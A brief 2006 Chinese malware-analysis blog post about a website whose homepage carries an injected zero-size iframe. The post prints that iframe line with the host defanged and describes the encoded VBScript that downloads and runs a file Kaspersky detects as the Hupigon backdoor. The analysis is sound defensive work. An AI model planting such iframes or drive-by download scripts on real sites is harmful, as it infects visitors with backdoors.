一个下载灰鸽子Backdoor.Win32.Hupigon.cge的网站

最新推荐文章于 2024-09-01 09:00:00 发布

最新推荐文章于 2024-09-01 09:00:00 发布 · 145 阅读

文章标签：

#shell

本文分析了一个网站被植入恶意代码的情况，恶意代码通过隐藏的iframe进行加载，使用了加密的VBScript来下载并运行一个名为Backdoor.Win32.Hupigon.cge的木马程序。

endurer 原创

2006-11-22 第1版

该网站首页首部被加入代码：
/-----------
＜IFRAME src="hxxp://58***000.128**.to***for.com/x***skj.htm width=0 height=0＞＜/IFRAME＞
-----------/

x***skj.htm 的内容为escape()加密的VBScript代码，功能为：利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 setup.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象的 ShellExecute 方法来运行。

setup.exe　文件大小为301 KB (308,224 字节)，Kaspersky 报为 Backdoor.Win32.Hupigon.cge。